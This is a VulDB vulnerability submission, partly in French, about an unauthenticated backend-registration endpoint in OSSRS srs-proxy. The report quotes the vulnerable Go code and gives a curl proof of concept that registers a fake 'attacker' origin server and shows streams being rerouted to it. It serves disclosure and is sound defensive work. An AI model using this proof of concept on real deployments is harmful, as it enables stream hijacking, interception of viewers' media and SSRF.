Soumettre #986193: https://github.com/ossrs/ srs v8.0.3 Missing Authenticationinformation

Titrehttps://github.com/ossrs/ srs v8.0.3 Missing Authentication
Descriptionsrs-proxy System API -- Unauthenticated Backend Server Registration Enables Stream Hijacking ### Summary The `srs-proxy` component exposes a System API server on port 12025 (bound to `x.x.x.x` by default) that accepts backend server registrations with no authentication. Any network-adjacent or remote attacker can POST to `/api/v1/srs/register` and inject an arbitrary IP and port as a backend origin server. Once registered, the in-memory load balancer routes all subsequent media stream requests for that stream URL to the attacker-controlled host, enabling full stream hijacking, credential harvesting from stream consumers, and denial of service. ### Details The System API server is started in `internal/proxy/api.go` (`NewSystemAPI`/`systemAPI.Run`). When the `PROXY_SYSTEM_API` environment variable contains only a port number (the default is `"12025"`), the Go HTTP server prepends `":"` to produce `":12025"`, which binds on all interfaces (x.x.x.x): ```go // internal/proxy/api.go, systemAPI.Run() addr := v.environment.SystemAPI() // returns "12025" if !strings.Contains(addr, ":") { addr = ":" + addr // becomes ":12025" -> x.x.x.x:12025 } ``` The `/api/v1/srs/register` handler parses caller-supplied JSON and writes the resulting `OriginServer` struct directly into the load balancer without any token, secret, or network source check: ```go // internal/proxy/api.go, systemAPI.Run() register handler server := lb.NewOriginServer(func(srs *lb.OriginServer) { srs.IP, srs.DeviceID = ip, deviceID srs.ServerID, srs.ServiceID, srs.PID = serverID, serviceID, pid srs.RTMP, srs.HTTP, srs.API = rtmp, stream, api srs.SRT, srs.RTC = srt, rtc srs.UpdatedAt = time.Now() }) if err := v.loadBalancer.Update(ctx, server); err != nil { ... } ``` The `memoryLoadBalancer.Update()` (internal/lb/mem.go) stores the entry keyed on `server.ID()` (concatenation of ServerID, ServiceID, and PID -- all caller-controlled). The `Pick()` function then selects from all servers registered within the last 300 seconds, and stickily assigns a server per stream URL. After injection, every stream request (`HTTP-FLV`, `HLS`, `RTMP`, `WebRTC`, `SRT`) is proxied to the attacker's host. The default configuration documented in `docs/proxy/proxy-usage.md` and `docs/proxy/proxy-origin-cluster.md` starts the proxy with `PROXY_SYSTEM_API=12025` and no firewall guidance, making port 12025 reachable from the network by default. ### PoC Prerequisites: a running srs-proxy built from the repository root (`go build -o srs-proxy ./cmd/proxy/`). ```bash # Step 1: Start srs-proxy with default settings. PROXY_HTTP_API=11985 PROXY_HTTP_SERVER=18080 PROXY_RTMP_SERVER=11935 \ PROXY_WEBRTC_SERVER=18000 PROXY_SRT_SERVER=20080 \ PROXY_SYSTEM_API=12025 PROXY_LOAD_BALANCER_TYPE=memory \ PROXY_STATIC_FILES=/tmp/empty-dir \ ./srs-proxy & # Step 2: Register a fake backend with no credentials required. curl -s -X POST http://127.0.0.1:12025/api/v1/srs/register \ -H "Content-Type: application/json" \ -d '{ "device_id": "attacker-evil-server", "ip": "10.0.0.99", "server": "attacker-srv-id", "service": "attacker-svc-id", "pid": "1337", "rtmp": ["19350"], "http": ["8099"], "api": ["19850"] }' # Output: {"code":0,"pid":"101216"} # Step 3: Request any stream from the HTTP stream port. # The proxy routes to the injected backend instead of a legitimate origin. curl -v http://127.0.0.1:18080/live/test.flv 2>&1 # Output (confirms routing to attacker-controlled 10.0.0.99:8099): # serve http://127.0.0.1/live/test.flv with __defaultVhost__/live/test # by backend SRS ip=10.0.0.99, id=attacker-srv-id-attacker-svc-id-1337, # pid=1337, server=attacker-srv-id, service=attacker-svc-id, # device=attacker-evil-server, rtmp=[19350], http=[8099], api=[19850]: # do request to http://10.0.0.99:8099/live/test.flv: ... i/o timeout # (Connection refused because 10.0.0.99 is not running in this test; # a real attacker would serve a malicious RTMP/HTTP server at that address.) ``` ### Impact Any unauthenticated attacker who can reach port 12025 of the proxy (which binds on x.x.x.x by default) can register a malicious host as a backend origin server. All subsequent stream requests for any stream URL are then silently proxied to the attacker's server, enabling: full interception and recording of live media streams, supply of malicious media to viewers, denial of legitimate streaming service, and potential SSRF by pointing the proxy at internal addresses. Because the registration requires no pre-shared secret, the attack is trivially automated and persistent (re-registering every ~300 s keeps the entry alive). Operators who follow the quick-start documentation are exposed out of the box.
La source⚠️ https://github.com/ossrs/srs/issues/4690
Utilisateur
 geochen (UID 78995)
Soumission17/09/2026 08:05 (il y a 19 jours)
Modérer05/10/2026 17:13 (18 days later)
StatutAccepté
Entrée VulDB413620 [OSSRS srs jusqu’à 7.0-a1 System API internal/proxy/api.go systemAPI.Run authentification faible]
Points20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!